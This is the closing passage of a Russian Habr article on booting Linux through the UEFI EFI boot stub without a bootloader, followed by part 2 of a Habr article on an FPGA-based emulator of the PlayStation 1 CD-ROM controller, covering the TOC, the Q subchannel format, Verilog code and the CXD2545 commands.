* .reloc секция обязательно требуется загрузчиком, поэтому при сборке ядра создаётся пустая заглушка «чтоб было».
* Самая интересная секция .code, собственно, содержит EntryPoint и основной код всего остального ядра. После того, как EFI-application найдено, загрузчик выполняет загрузочный сервис LoadImage, тем самым загружая весь образ в память. Тип резидентности зависит от поля Subsystem: EFI\_APPLICATION будет выгружаться, когда отработает. EFI\_DRIVER же может быть Unloadable и выгрузится только в случае критической ошибки. Далее передаётся управление на точку входа, обычно это функция efi\_main() — аналог main() в C.
На самом деле, я немного слукавил, в начале назвав ядро exe-файлом. По сути это простое себе приложение EFI, которое использует формат PE32+.
#### Основные требования
Прежде всего, необходимо активировать режим загрузки EFI-mode. Пункт может называться как вдумается вендору, обычно находится во вкладке Boot Options. Если увидели там что-то вроде Legacy Mode или CSM (Compatibility Support Mode), либо просто BOIS Mode, меняйте на что-то похожее: (U)EFI Mode, Enhanced Mode или Advanced Mode.
Если материнская плата имеет логотип «Windows 8 Ready!», то, скорее всего, режим EFI Boot Mode уже активирован по умолчанию.
В большинстве случаев, для загрузки ядра Linux в EFI-mode необходимо выключить опцию Secure Boot.
##### Разметка диска
Многие источники указывают, что обязательно нужна разметка диска [GPT](http://ru.wikipedia.org/wiki/%D0%A2%D0%B0%D0%B1%D0%BB%D0%B8%D1%86%D0%B0_%D1%80%D0%B0%D0%B7%D0%B4%D0%B5%D0%BB%D0%BE%D0%B2_GUID), а не [MBR](http://ru.wikipedia.org/wiki/%D0%93%D0%BB%D0%B0%D0%B2%D0%BD%D0%B0%D1%8F_%D0%B7%D0%B0%D0%B3%D1%80%D1%83%D0%B7%D0%BE%D1%87%D0%BD%D0%B0%D1%8F_%D0%B7%D0%B0%D0%BF%D0%B8%D1%81%D1%8C), но это не так. UEFI вполне себе умеет MBR. Другое дело, например, Windows насильно заставляет разбивать диск новым методом, чтобы грузиться в EFI mode и ругается на древность Master Boot Record'а. И правильно делает! Разметив диск «современно» ничего не потеряем, а только выиграем.
Во-первых, не будет проблем со всякими там Primary/Logical разделами, «туда не ходи — сюда ходи» и прочими рудиментами.
Во-вторых, хоть сейчас и продвигаются массово SolidState-диски, у которых объёмы пока не сильно удивляют, размером же обычной «вертушки» в несколько терабайт сейчас уже никого не удивишь. А ведь под MBR можно разметить раздел максимум около 2ТБ. GPT же, видит *ну очень много*, можно даже цифру не называть — относительно не скоро появятся диски таких размеров.
Ну и плюс всякие бонусы, типа дублирования GPT-записи в начале и конце диска, контрольные суммы целостности и т. п., добавляют желания не раздумывая размечать диск под GPT.
Статей, как разбить диск с помощью различных утилит в GNU/Linux можно найти огромное количество.
##### Отдельный раздел
###### Тип раздела
Спустя nn-цать лет разработки стандартов, инженеры таки решили, что хардкодить — не есть хорошо. Теперь не важно где находится наш загрузочный раздел, загрузчик UEFI делает очень просто: он перебирает все подряд разделы и диски и ищет один особенный. Особенность его заключается в том, что в случае с MBR-разметкой, он имеет тип с кодом 0xEF (как можно догадаться, от EFI). В случае разметки GPT — раздел с [GUID](http://ru.wikipedia.org/wiki/GUID) равным *C12A7328-F81F-11D2-BA4B-00A0C93EC93B*.
Здесь существует некоторая неявность. Все утилиты для разметки, например, parted, имеют свойство установки и отображения флага «boot», который применяется к разделу. Так вот, в случае с MBR, такая возможность действительно имеется, т. е. существует реальный байт, который указывает БИОСу на «загрузочность» раздела. Этот флаг можно поставить на любой раздел, MBR которого, мы хотим скормить БИОСу для загрузки. Но, когда мы имеем дело с GPT, никакого флага в действительности нет! Под этим флагом parted понимает как раз GUID равный вышеуказанному. Т. е. по факту GPT boot flag = GPT EFI Partition! **parted**
```
# parted /dev/sda -l
Модель: ATA ST3750330AS (scsi)
Диск /dev/sda: 750GB
Размер сектора (логич./физич.): 512B/512B
Таблица разделов: gpt
Disk Flags:
Номер Начало Конец Размер Файловая система Имя Флаги
1 1049kB 135MB 134MB fat32 EFI System загрузочный
2 135MB 269MB 134MB ext2 Linux filesystem
3 269MB 8859MB 8590MB linux-swap(v1) Linux swap
4 8859MB 30,3GB 21,5GB ext4 Linux filesystem
5 30,3GB 46,4GB 16,1GB ext4 Linux filesystem
6 46,4GB 67,9GB 21,5GB ext4 Linux filesystem
7 67,9GB 750GB 682GB xfs Linux filesystem
```
gdisk же, не страдает этим:
**gdisk**
```
# gdisk /dev/sda -l
GPT fdisk (gdisk) version 0.8.7
Partition table scan:
MBR: protective
BSD: not present
APM: not present
GPT: present
Found valid GPT with protective MBR; using GPT.
Disk /dev/sda: 1465149168 sectors, 698.6 GiB
Logical sector size: 512 bytes
Disk identifier (GUID): 02D11900-D331-4114-A3D7-8493969EF533
Partition table holds up to 128 entries
First usable sector is 34, last usable sector is 1465149134
Partitions will be aligned on 2048-sector boundaries
Total free space is 2014 sectors (1007.0 KiB)
Number Start (sector) End (sector) Size Code Name
1 2048 264191 128.0 MiB EF00 EFI System
2 264192 526335 128.0 MiB 8300 Linux filesystem
3 526336 17303551 8.0 GiB 8200 Linux swap
4 17303552 59246591 20.0 GiB 8300 Linux filesystem
5 59246592 90703871 15.0 GiB 8300 Linux filesystem
6 90703872 132646911 20.0 GiB 8300 Linux filesystem
7 132646912 1465149134 635.4 GiB 8300 Linux filesystem
```
*Вывод:* если наш EFI-раздел на MBR — ставим тип раздела EFI Partition *и* boot flag. Если GPT — *либо* тип EFI Partition, *либо* boot flag, так как они представляют собой одно и то же.
Есть ещё всякие вещи, типа GPT legacy boot flag, который устанавливается в Protective MBR, и прочее, но всё это костыли, которые используются только в режиме совместимости. В режиме GPT UEFI Boot должны игнорироваться.
###### Файловая система
В разных источниках пишут по-разному. Кто-то говорит, что FAT16 можно использовать, кто-то даже FAT12 рекомендует. Но, не лучше ли последовать совету официальной спецификации? А она говорит, что системный раздел должен быть в FAT32. Для removable-media (USB HDD, USB Flash) — ещё и FAT12/FAT16 в придачу к FAT32.
Про размер раздела ничего не говорится. Однако, по причине начальных костыльных и баганых реализаций загрузчиков и прошивок, опытным путём народ выяснил, что во избежание различных «внезапностей», рекомендуется размер ***не менее 520МиБ (546МБ)***. Здесь как повезёт, проблем может не быть и с 32-мегабайтным разделом.
##### Структура директорий
После того, как загрузчик нашёл свой «меченый» раздел и убедился, что поддерживает файловую систему, он начинает выполнять все действия с путями, относительно корня раздела. Кроме того, все файлы в данном разделе должны находиться в директории *\EFI\*, которая, в свою очередь, является единственной в корне раздела. По соглашению, каждому вендору рекомендуется выделить себе папку с уникальным названием и поместить её в \EFI\, например: *\EFI\redhat\*, *\EFI\microsoft\*, *\EFI\archlinux\*. В директории вендора находятся непосредственно исполнимые efi-приложения. Рекомендуется один файл на одну архитектуру. Файлы должны иметь расширение *.efi*.
Для съёмных устройств предназначена директория *\EFI\BOOT\*. В ней так же рекомендуется не более одного файла для каждой архитектуры. В дополнение к этому, файл должен называться *boot{arch}.efi*. Например, *\EFI\BOOT\bootx64.efi*. Доступные архитектуры: *ia32, x64, ia64, arm, aa64*.
##### Доступ к NVRAM
По умолчанию, если ничего не записано в энергонезависимой памяти UEFI, будет загружаться *\EFI\BOOT\bootx64.efi*. Чтобы записать в [NVRAM](http://ru.wikipedia.org/wiki/%D0%AD%D0%BD%D0%B5%D1%80%D0%B3%D0%BE%D0%BD%D0%B5%D0%B7%D0%B0%D0%B2%D0%B8%D1%81%D0%B8%D0%BC%D0%B0%D1%8F_%D0%BF%D0%B0%D0%BC%D1%8F%D1%82%D1%8C) путь к необходимому приложению, можно воспользоваться утилитой efibootmgr. Попробуем вывести текущие записи:
```
# efibootmgr -v
```
В некоторых дистрибутивах для работы этой утилиты требуется включенная опция ядра CONFIG\_EFI\_VARS.
#### Приступаем
Итак, мы разметили FAT32 EFI System Partition (ESP) размером 550МиБ. Либо, у нас стоит винда второй системой и уже сама создала его. Правда, создаёт она его обычно размером около 100МБ, но лично у меня проблем никогда не возникало.
В /boot уже имеется ядро с поддержкой EFI boot STUB.
**Проверить**Чтобы проверить, была ли включена опция при сборке ядра, выполним:
```
$ zgrep CONFIG_EFI_STUB /proc/config.gz
```
либо
```
$ zgrep CONFIG_EFI_STUB /boot/config-`uname -r`
```
**CONFIG\_EFI\_STUB=y** означает, что опция активна.
Далее у нас куча вариантов развития событий:
* Можно смонтировать *ESP\{vendor}\* на */boot* через *mount --bind*, предварительно скопировав содержимое. **Исключения**Данный пункт подходит только для дистрибутивов, которые не содержат символические ссылки в каталоге */boot*. Например, на openSUSE монтировать не удастся, т. к. он содержит там несколько ссылок, в том числе и на само ядро.
* Как вариант, при обновлении ядра, каждый раз копировать его и ram-disk в *ESP\{vendor}\*
* Можно поставить EFI driver на чтение файловой системы */boot* и грузиться напрямую, лишь добавив к ядру расширение '.efi' (а лучше хардлинк).
Теперь нужно как-то добавить загрузочный пункт в NVRAM UEFI. Здесь снова множество вариантов:
Если мы уже загружены в режиме EFI (efibootmgr -v не ругается) с помощью загрузчиков GRUB2, rEFInd и т. п., то всё нормально:
* Используем efibootmgr, который умеет передавать параметры ядра.
* Если efibootmgr брыкается, можно воспользоваться [UEFI Shell](https://svn.code.sf.net/p/edk2/code/trunk/edk2/ShellBinPkg/UefiShell/X64/Shell.efi), который, как и наше ядро, является EFI-приложением. Через его команду bcfg возможно редактировать пункты загрузки.
* Может быть такой вариант: efibootmgr ругается на добавление параметров, значит прошивка не поддерживает их запись (либо просто кривая, что вероятнее). В прошлой статье в комментах упомянули параметр ядра *efi\_no\_storage\_paranoia*, который может помочь. Но пользоваться им можно только если вы уверены в том, что ваша прошивка реализована полностью в соответствии со спецификацией! Разработчики предупреждают, что если вендор добавил костылей и отсебятины при реализации, есть неиллюзорная вероятность материализовать кирпич на месте материнской платы.
* Можно также грузиться через UEFI Shell. Для него создаётся [скрипт](http://software.intel.com/en-us/articles/efi-shells-and-scripting) *startup.nsh*, в котором указывается команда загрузки ядра с нужным command line. А Shell, в свою очередь, добавляется как пункт загрузки.
* Существует ещё одна проблема: добавление пункта возможно только для одного пути ядра, при этом ram-disk не видится. В большинстве статей рекомендуют при этом пересобирать ядро со встроенным initrd. Точно не знаю — проблема ли ядра это, или загрузчика. Но на текущий момент в 90% случаев всё поддерживается и пересобирать ядро не нужно.
**Вероятная причина заблуждения**Рекомендации по встраиванию рам-диска в ядро пошли, скорее всего, из-за массового неверного указания пути к нему. В ранних реализациях EFI Boot Stub, ядро не плевалось ошибкой о неверном пути к ram-disk, а молча отказывалось грузиться. Видимо поэтому все начали массово внедрять его в ядро, решив, что он не поддерживается. Хотя поддержка параметра initrd существует с самого появления в ядре фичи Boot Stub.
ВАЖНО: Путь к ram-диску передаётся *абсолютный* через *обратные слеши " \ "*, а не прямые! Например, *initrd=\EFI\archlinux\initramfs-linux.img.
**Исключения для анархистов**На самом деле, ядра, версий выше 3.8.0-rc5 не видят разницы между прямым и обратным слешем — будет работать любой. Но вот с момента появления фичи Boot Stub в версии 3.2.0-rc5, путь, записанный через прямые слеши, ядро просто не видело и молча без ошибок отказывалось грузиться. Ругаться ошибками по этому поводу, оно научилось в версии 3.4.0.*
Если же мы только узнали про режим EFI boot и хотим на него перейти, чтобы добавлять пункты загрузки, нужно *уже* находиться в данном режиме, а мы то всё ещё в режиме совместимости… Есть два основных решения:
* Скачать первый попавшийся live-cd с поддержкой EFI boot. И из него уже воспользоваться командой efibootmgr.
* Скачать UEFI Shell. Из него можно, как загрузиться в режиме EFI, просто указав ядро и ram disk, так и редактировать пункты загрузки.
#### Dualboot без загрузчика
Если у вас установлены 2 системы одновременно, и всё равно не хочется ставить сторонний загрузчик, можно добавить обе в пункты загрузки UEFI и подкорректировать предпочитаемый boot order. Загрузчик Windows обычно располагается в *\EFI\Microsoft\BOOT\bootmgfw.efi*.
#### Итого
Если всё сделано правильно, перегружаемся, вызываем Boot Menu, выбираем добавленный нами пункт и смотрим на почти мгновенную загрузку. В случае с SSD, FastBoot, Readahead и Arch Linux — около 3-4 секунд. Домашний сервер уже год загружается без всяких сторонних загрузчиков, используя EFI Boot STUB.
Конечно, выигрыш в скорости тут минимальный, но, как пишут знающие люди типа [Roderick Smith](http://www.rodsbooks.com/), иногда в режиме EFI Boot происходит «более адекватная» инициализация оборудования, чем в режимах совместимости.
#### Заключение
По причине относительной сырости прошивок UEFI и совершенно различных реализаций, я не стал приводить примеры кода. В каждом случае может существовать своя проблема. Надеюсь, описанное мной поможет понять общий принцип и применить к своему случаю.
Также рекомендую прошиться последней версией UEFI с сайта производителя материнской платы.
#### Литература
[Официальные спецификации UEFI](http://www.uefi.org/specs/download)
[Roderick W. Smith's Web Page](http://www.rodsbooks.com/) — творчество автора многих утилит, связанных с EFI, загрузчиками и разметкой диска.
[ArchWiki: UEFI Bootloaders](https://wiki.archlinux.org/index.php/UEFI_Bootloaders) — бессменная и одна из лучших и полных вики по GNU/Linux одного из дистрибутивов.
[Официальная спецификация PE/COFF](http://www.microsoft.com/whdc/system/platform/firmware/PECOFF.mspx) | https://habr.com/ru/post/197438/ | null | ru | null |
# Эмулятор CD-Rom для SonyPlaystation который я писал больше десяти лет. Часть 2
В [первой части](https://habr.com/ru/post/653507/). Мы поверхностно посмотрели, как работает микросхема CXD2545, которая является частью контроллера CDRom и стоит между данными считываемые лазером и остальной частью приставки. Я для себя поставил задачу проэмулировать чтение оглавления диска. Это то, что делает приставка, когда пытается понять, что за диск в ней вставлен. А главное результат сего действа достаточно просто можно наблюдать во встроенном CD плеере приставки. Зная, что во время попытки чтения оглавления она не дает двигать курсор, а по окончании показывает, сколько треков было найдено.
*(Также здесь будут описаны ошибки, которые я допустил, пытаясь сделать этот эмулятор, может, кого-то это убережет, от необдуманных поступков)*
Итак у нас есть PS1 с платой SCPH-5502, DE1 с CycloneII на борту, клон DSLogic Plus и большое желание проэмулировать CDRom.
### 3. Что такое TOC где он живет и как выглядит?
#### 3.1 Смотрим логическим анализатором
Для начала я запустил анализатор, подключил его к основным исследуемым пинам. Стартанул захват и нажал кнопку, которая отвечала за закрытия крышки приставки. Эксперименты проводил на двух играх Forsaken и G-Police 2. Первая выбрана потому, что у неё должен быть большой TOC, так как у игры много аудио треков сопровождения. А вторая, потому что была под рукой. Полученные дампы можно посмотреть скачать здесь([Forsaken](https://github.com/VBKesha/PSX_CDEMU_1/blob/main/research/Forsaken_read_toc.dsl), [G-Police 2](https://github.com/VBKesha/PSX_CDEMU_1/blob/main/research/GPolice2_read_toc.dsl)) при помощи программы [DSView](https://www.dreamsourcelab.com/download/). При беглом взгляде стало понятно, что надо искать информацию о том, как всё-таки хранится TOC.
*(Нога SCOR снята криво, как оказалось у меня убит 7 канал на логическом анализаторе, но в момент, когда я с снимал, эти дампы я этого не знал)*
#### 3.2 Так что же такое TOC?
[](https://habrastorage.org/webt/hs/2f/p2/hs2fp2rli3u6537shrvne7nactu.png)
Ноги у CD-Data растут из CD-Audio. А на последних хранились аудио треки, их было несколько и чтобы бытовому плееру узнать, сколько их именно и какую длину они имеют, придумали TOC. TOC расшифровывается как Table of content, что можно перевести как оглавление. Так вот на CD-Audio было два потока данных: основной с аудиоданными, и субканальные данные. В аудиоданных были закодирован аудио поток в формате 16 бит, 44100 герц без компрессии(ну на самом деле туда ещё можно запихнуть DTS/AC3 но это уже совсем другая история). В субканальных данных была информация необходимая для сервисных нужд плеера, номер трека, текущее время воспроизведения трека диска. А также может быть куча дополнительной информации, в виде всяких CD-Text, регистрационных номеров диска в разных базах итд. Субканал сам подразделяется на восемь подканалов, именуемых буквами от P до W. В общем, хранить TOC в аудиоданных было не вариант, так как зачастую они напрямую шли на ЦАП и никак не анализировались. Поэтому данные решили хранить в субканале(он же субкод/subcode). Те, кому доводилось записывать компакт диски должны помнить, что привод в начале диска пишет загадочный Lead-In потом данные и потом Lead-Out. Так вот Lead-In как раз и содержит данные TOC. Который закодированы в Q канале.
#### 3.3 Формат Q субканала
Не углубляясь в то, как устроено хранение данных на диске, нам пока достаточно знать следующее. Сектор на диске содержит 2352 байта(ну как таковой понятие сектор оно и не совсем верное). На каждый сектор приходится один блок субканальных данных. Каждый субканал несет 96 бит информации. Нас сейчас интересует только Q подканал.
Формат данных этого подканала достаточно прост.
| | | | |
| --- | --- | --- | --- |
| Control | Mode-Q(ADR) | Data-Q | CRC |
| 4-Bit | 4-Bit | 72-Bit | 16-Bit |
Поле Control содержит тип текущего трека, аудио/дата, сколько каналов, есть ли предискажение, запрещено ли его копировать.
**Варианты значений взяты из документа mmc2r11a.pdf**
| | |
| --- | --- |
| 00x0b | 2 audio channels without pre-emphasis |
| 00x1b | 2 audio channels with pre-emphasis of 50/15 µs |
| 10x0b | 4 audio channels without pre-emphasis |
| 10x1b | 4 audio channels with pre-emphasis of 50/15 µs |
| 01x0b | Data track, recorded uninterrupted |
| 01x1b | Data track, recorded increment |
| 11xxb | reserved |
| xx0xb | digital copy prohibited |
| xx1xb | digital copy permitted |
Для нас интересны два варианта это 0x4 — дата трек, и 0x0 — аудио трек 2 канала.
Поле Mode-Q оно же ADR указывает, что дальше закодировано в Q канале. Нас интересует только
значение 0x1, которое отвечает за указание текущей позиции на диске. Также ещё есть вариант 0x2, который отвечает за [Media Catalog Number](https://en.wikipedia.org/wiki/Catalog_number_(music)) и 0x3, отвечающий за [ISRC](https://ru.wikipedia.org/wiki/ISRC). Но они нам на данный момент не нужны.
Формат Mode-Q 0x1 имеет следующий вид:
| | | | | | | | | |
| --- | --- | --- | --- | --- | --- | --- | --- | --- |
| TRACK | INDEX | MIN | SEC | FRAME | ZERO | AMIN | ASEC | AFRAME |
| 8-Bit | 8-Bit | 8-Bit | 8-Bit | 8-Bit | 8-Bit | 8-Bit | 8-Bit | 8-Bit |
Где Track — номер текущего трека, для трека Lead-Out значение фиксировано 0xAA. Index по сути используется два варианта это 0 пауза «перед началом» трека, и 1 сам трек. По идее задумывалось, чтобы один трек можно было разбивать на дополнительные части, но видимо оказалось ненужным, либо его добавили из за особенности работы CIRC но сейчас не об этом.
MIN/SEC/FRAME **относительное** положение головки на диске, MIN может быть от 00 до 99, SEC от 00 до 59. FRAME от 00 до 74(адресация на CD дисках называется MSF как раз из-за этих параметров). Это значение описывает положение головки относительно начала текущего трека. Поля AMIN/ASEC/AFRAME описывают **абсолютное** положение головки от начала зоны дынных на диске. Зона данных идёт сразу за зоной Lead-In, и как бы это не было странно трек Lead-Out включен в зону данных. Диапазон значений такой же, как и у MIN/SEC/FRAME. Важный момент MIN/SEC/FRAME во время когда INDEX равен 0 идут на уменьшения значений, а при INDEX равный 1 на увеличение. Поля AMIN/ASEC/AFRAME всегда идут строго на увеличение. Поле ZERO всегда равно 0x00
Однако в зоне Lead-In поля имеют немного другие значения, а именно: MIN/SEC/FRAME и ZERO работают также как и везде. Поле TRACK равно 0x00, что в целом логично. Однако поле INDEX и
AMIN/ASEC/AFRAME отданы под описание трека и его параметров. INDEX указывает номер трека описываемого в TOC, а поля AMIN/ASEC/AFRAME его позицию, выраженную **абсолютном** времени на диске. Как же есть специальные значения выражено в виде INDEX с параметром 0xA0, 0xA1, 0xA2:
| | | | |
| --- | --- | --- | --- |
| Index | AMIN | ASEC | AFRAME |
| 0xA0 | Номер первого трека на диске обычно(всегда) 0x01 | Тип трека:
0x00 — CD-DA or CD-ROM
0x10 — CD-I
0x20 — CD-ROM-XA | 0x00 |
| 0xA1 | Номер последнего трека | 0x00 | 0x00 |
| 0xA2 | AMIN начала Lead-Out | ASEC начала Lead-Out | AFRAME начала Lead-Out |
Вот из этих записей и состоит TOC. Длинна же самого Lead-In, должна быть около 4500 секторов. В которых эти данные повторяются, что скорей всего сделано для надежности. Как строит TOC приставка, я точно не знаю. Но алгоритм должен быть достаточно прост, что-то похожее на следующее. Позиционируемся на Lead-In зная, что у него Track = 0x00. И начинаем заполнять адреса начала всех треков, используя данные из Q субканала, Само количество треков мы узнаем из служебной записи 0xA1. Когда все записи заполнены, считаем, что TOC прочитан.
По тестам с разными дисками стало понятно, что TOC на штамповке и на самописных болванках немного отличается. Например, относительно время в Lead-In на штамповке шло от 00:00:00 и просто по нарастающей. А на записанной болванке оно начиналось явно не с нулевой метки, и было рассчитано, так, что бы последний сектор Lead-in приходился на значение 99:59:74 то есть максимально возможное время в адресации MSF. Что, на мой взгляд, более верное решение, но приставке, да и другим приводам абсолютно безразличен этот факт.
#### 3.4 Просто всякие мелочи
Lead-In это единственная область, в которой свои отметки времени не связаны с основной областью данных. Также трек Lead-In по сути является треком номер 0. Все остальные треки, включая трек Lead-Out, содержат две отметки времени время от начала области данных, и время от начала текущего трека. Данные всех треков закодированы в формате BCD, кроме номера трека Lead-Out он имеет значение 0xAA. Lead-Out служит для указания того что это конец диска (всякие мультисессии мы не рассматриваем), и дальше никаких данных не будет. CXD2545 умеет читать их все, но в PS1 он подключен, так что может читать только канал Q, да ещё и настроена, так что в последних двух байтах выдается не CRC, а PeakMeter.
### 4 Первые попытки эмуляции TOC
#### 4.1 Размышления
*(В статье описаны события 4-5 летней давности, поэтому могут быть неточности, прошу с понимание отнестись к этому)*
Формат данных TOC известен, как он строится тоже ясно. Пришло время обдумать, как это всё эмулировать. У нас есть плата с Cyclone II но читать карту на Verilog и обрабатывать команды привода задача не очень веселая. Поэтому было принято решение собрать систему с «софт» процессором NiosII, к которому сделать свой модуль, который бы эмулировал тот самый CXD2545 и подключался к процессору как устройство мапированное на память. Учитывая, что автор не FPGA разработчик, неплохой такой план.
Что же для этого требуется:
1. Сделать входную шину CLOK/DATA/XLAT которая по приходу XLAT дергает прерывание и дает прочитать, что от нас хочет приставка
2. Сделать шину чтения субканала SQCK/SUBQ/SCOR по которой мы будем отправлять приставке данные
Саму шину данных делать пока не нужно, там при чтении TOC ничего нужного нет.
#### 4.2 Первые наброски
В SOPC Builder(графический интерфейс, для генерации процессорных системы в Quartus) была создана система. Которая состояла из:
Nios II процессора, On-Chip памяти, UART модуль для отладки и таймера.
Убедившись, что система собирается, и потом, убедившись, что Nios II стартует как надо, и можно писать и отлаживать программы, я решил, что пришла пора написать первый компонент системы.
Он должен будет читать с данные с шины управления CXD2545, и передавать их в процессор.
Модуль я назвал CXD2545\_CPU. Я решил, что для этой шины, нужно, что-то похожее на сдвиговый регистр, куда задвигаются команды, по сигналу XLAT регистр должен был копироваться в другой регистр, и дергать прерывание, чтобы процессор знал, что пришла команда от приставки. И посидев немного в мастере создания компонентов SOPC, была получена заготовка для модуля, из которой, я как смог слепил первый модуль. *(Автор не FPGA разработчик, поэтому его Verilog код может нанести травму FPGA разработчикам, за что он сразу извиняется.)*
**Код модуля целиком**
```
module CXD2545_CPU (
input wire clk, // clock.clk
input wire rst_n, // .reset
input wire [3:0] m_addr, // avalon_slave.address
output wire [31:0] m_read_data, // .readdata
input wire [31:0] m_write_data,// .writedata
input wire m_read, // .read_n
input wire m_write, // .write_n
output wire m_irq, // interrupt_sender.irq_n
input wire CLOK, // cxd_cpu.export
input wire DATA, // .export
input wire XLAT // .export
);
reg [23:0] cxd_cmd;
reg [23:0] cxd_cur_cmd;
reg reg_cur_clok;
reg reg_prev_clok;
reg reg_data_cur;
reg reg_cur_xlat;
reg reg_prev_xlat;
reg irq;
assign m_read_data[23:0] = cxd_cmd;
assign m_irq = irq;
always @(posedge clk) begin
if(rst_n == 1) begin
irq <= 1'b1;
end else begin
```
reg\_prev\_clok <= reg\_cur\_clok;
reg\_cur\_clok <= CLOK;
reg\_prev\_xlat <= reg\_cur\_xlat;
reg\_cur\_xlat <= XLAT;
reg\_data\_cur <= DATA;
if((reg\_prev\_clok ==1'b0) && (reg\_cur\_clok ==1'b1)) begin
cxd\_cur\_cmd[23:0] <= {reg\_data\_cur, cxd\_cur\_cmd[23:1]};
end
if((reg\_prev\_xlat ==1'b1) && (reg\_cur\_xlat ==1'b0)) begin
cxd\_cmd <= cxd\_cur\_cmd;
irq <= 1'b0;
end
if((m\_read == 1'b0) && (m\_addr == 4'h1)) begin
irq <= 1'b1;
end
end
end
endmodule
Надо заметить это единственный модуль, который дожил до рабочей версии эмулятора и только он и сохранился из первой версии проекта. Но разберем его по порядку. У нас есть две группы сигналов, одна относится к шине Avalon-MM, с которой работает Nios II и вся его периферия. И ужа знакомая нам шина команд CXD2545. А также сигнал сброса системы, и сигнал тактировая системы. Вдаваться в работу всей шины Avalon-MM мне не хочется, кому интересно, думаю смогут найти её принципы работы сами. Поэтому вкратце опишу что делается в модуле (всё что описано ниже происходит по положительно фронту клока):
```
if(rst_n == 1) begin
irq <= 1'b1;
end else begin
```
Если пришёл сигнал сброса мы убираем сигнал прерывания(активный уровень сигнала прерывания у нас 0). Если ресета не было:
```
reg_prev_clok <= reg_cur_clok;
reg_cur_clok <= CLOK;
reg_prev_xlat <= reg_cur_xlat;
reg_cur_xlat <= XLAT;
reg_data_cur <= DATA;
```
Запоминаем текущее значения пришедших сигналов в регистрах, а их старые значения CLOK/XLAT запоминаем в регистрах предыдущих значений.
```
if((reg_prev_clok ==1'b0) && (reg_cur_clok ==1'b1)) begin
cxd_cur_cmd[23:0] <= {reg_data_cur, cxd_cur_cmd[23:1]};
end
```
Если прошлое значение clok было 0 а текущее стало 1(поймали фронт сигнала), задвигаем в регистр текущее значение линии DATA.
```
if((reg_prev_xlat == 1'b1) && (reg_cur_xlat == 1'b0)) begin
cxd_cmd <= cxd_cur_cmd;
irq <= 1'b0;
end
```
Если XLAT перешел из состояния 1 в 0 то переносим текущее значение сдвигового регистра, в регистр где хранится текущая команда и ставим запрос на прерывание.
```
if((m_read == 1'b0) && (m_addr == 4'h1)) begin
irq <= 1'b1;
end
```
При чтении значения из адреса 0x4 относительно базового адреса модуля, сбрасываем запрос прерывания.
```
assign m_read_data[23:0] = cxd_cmd;
assign m_irq = irq;
```
Отображаем на шину данных Avalon-MM постоянно(независимо от запрошенного адреса) значения регистра cxd\_cmd а на сигнал прерывания регистр irq. Для тех кто незнаком с Verilog следует уточнить, что в отличии от обычных программ, результатом компиляция программы на Verilog получает схема. И все конструкции которые описаны, выполняются одновременно. А система переходит из одного состояния в другое по событиям описанным в блоках always. И не смотря на то, что
```
reg_prev_clok <= reg_cur_clok;
```
Написано выше чем условие где это самый reg\_prev\_clok сравнивается с чем то. На момент сравнения он будет иметь значение которое имел когда мы вошли(если смотреть по тексту) в блок always, и поменяет его уже когда весь блок будет отработан. По началу обычным программистам это очень выносит мозг, но привыкнуть можно.
**RTL представление модуля**
После того как удалось это написать, я подключил DE1 параллельно чипу CXD2545. Набросал простую программу на Си под Nios II. И попробовал на приставке нажать кнопку, которая отвечает за мониторинг закрытия крышки. В консоль весело посыпались команды отдаваемые приставкой, приводу. Это была первая маленькая победа. И она подняла энтузиазм до небывалых значений. Теперь надо было разобраться с командами, которые шли контроллеру и понять, как их эмулировать.
### 5. Команды CXD2545
Список команд достаточно небольшой, хотя если рассматривать их вместе с параметрами, то он огромен, но не все так страшно. За номер команды отвечает, первые 4 бита, остальное это параметры команды. Вот перечень команд с их описание:
| | | |
| --- | --- | --- |
| Код | Название блока команд | Описание |
| 0x0 | Focus Control | Команды управления фокусом, включить/выключить, и параметры фокуса, для эмуляции не очень и нужны. |
| 0x1 | Tracking Control | Команды управления трекингом, включить/выключить, и параметры антишока, тормоза и прочее, для эмуляции тоже не нужны. |
| 0x2 | Tracking Mode | Прямое управление линзой трекинга, включение выключение приводов салазок, и магнитного привода линзы, возможность двигать вперед/назад эти приводы, явно нужно будет эмулировать. |
| 0x3 | Select | Огромный блок с кучей под блоков, в которых прописываются всякие тонкие настройки работы механики, усилителей и прочего, как оказалось для эмуляции не нужен, но первый взгляд на него очень сильно меня напугал. |
| 0x4 | Auto sequence | Команды перехода по трекам, вперед или назад на 1/10/2N/M трек, но это не те треки которыми нумеруются аудиозаписи на диски, а дорожки спирали, на которой и записана вся информация на диске, обязательно для эмуляции. |
| 0x5 | Blind (A, E),Brake (B),Overflow (C, D) | Тайминги разных фаз работы механики, для эмуляции не нужны. |
| 0x6 | Sled kick, brake (D),Kick (F) | Ещё тайминги разных фаз работы механики, для эмуляции не нужны. |
| 0x7 | Auto sequence track jump count setting | Число треков на которое надо прыгать для команды 0x4 при указании параметров 2N или M треков, для эмуляции нужна. |
| 0x8 | MODE specification | Разные параметры работы CDRom, в принципе оказалось эмулировать не обязательно |
| 0x9 | Function specification | Разные параметры работы CDRom, для эмуляции важен только флаг DSPB указывающий на какой скорости сейчас должен работать привод 1X или 2X |
| 0xA | Audio CTRL | Параметры отвечающие за работу привода в режиме Audio, по логам выходило что приставка устанавливает его один раз и больше не трогает, значит и эмулировать не надо. |
| 0xB | Traverse monitor counter setting | Счетчик треков, который дергает ногу COUT при перемещении головки при помощи команд 0x2. Изначально я не понял его назначения, это стоило наверно 3х дней отладки. |
| 0xС | Spindle servo coefficient setting | Параметры для работы механики, для эмуляции не нужны. |
| 0xD | CLV CTRL | Параметры для работы механики, для эмуляции не нужны. |
| 0xE | CLV mode | Управление шпинделем, раскрутка, тормоз, режим работы. Когда шпиндель крутится нужно выдавать данные субканала и основного канала, нужная команд |
В общем как оказалось команд необходимых для эмуляции не так много и в целом они достаточно простые. Ну а раз так то пишем дальше.
### 6. Начинаем эмулировать
#### 6.1 Первая попытка эмуляции
